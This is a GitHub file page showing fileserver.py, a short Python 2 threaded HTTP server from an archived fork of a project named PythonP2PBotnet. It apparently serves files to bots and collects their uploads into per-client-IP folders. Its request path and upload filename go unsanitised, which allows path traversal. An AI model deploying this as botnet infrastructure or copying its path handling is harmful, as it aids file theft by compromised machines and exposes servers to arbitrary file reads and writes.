This repository has been archived by the owner on Feb 24, 2019. It is now read-only.
forked from jhoward321/PythonP2PBotnet
-
Notifications
You must be signed in to change notification settings - Fork 0
/
fileserver.py
71 lines (59 loc) · 2.09 KB
/
fileserver.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from SocketServer import ThreadingMixIn
import cgi, sys, os, threading
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
#Handle GET Request
try:
filepath = "filehost"+self.path
print "Filepath: "+filepath
f=open(filepath, "rb")
self.send_response(200)
self.send_header('Content-type', 'application/octet-stream')
self.end_headers()
self.wfile.write(f.read())
f.close
return
except IOError:
self.send_error(404,'File Not Found: %s' % self.path)
def do_POST(self):
#Handle POST Request - File Uploads
try:
#Use cgi form to parse post request
form = cgi.FieldStorage(
fp=self.rfile,
headers=self.headers,
environ={'REQUEST_METHOD':'POST',
'CONTENT_TYPE':self.headers['Content-Type'],
})
filename = form['file'].filename
data = form['file'].file.read()
#store files in /filedump/<client-ip> directory
client = self.client_address[0]
dirpath = "filedump/"+client
if not os.path.isdir(dirpath):
os.makedirs(dirpath)
f = open(dirpath+"/"+filename, "wb")
f.write(data)
self.send_response(200)
f.close()
return
except IOError:
self.send_error(500,'Internal Server Error: Upload Failed')
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
"""Handle requests in a seperate thread."""
def launchServer(port):
try:
server = ThreadedHTTPServer(('',port), RequestHandler)
print "Starting file server"
server.serve_forever()
except KeyboardInterrupt:
print "Shutting down server"
server.socket.close()
def main():
if len(sys.argv) != 2:
sys.exit(1)
port = int(sys.argv[1])
launchServer(port)
if __name__ == '__main__':
main()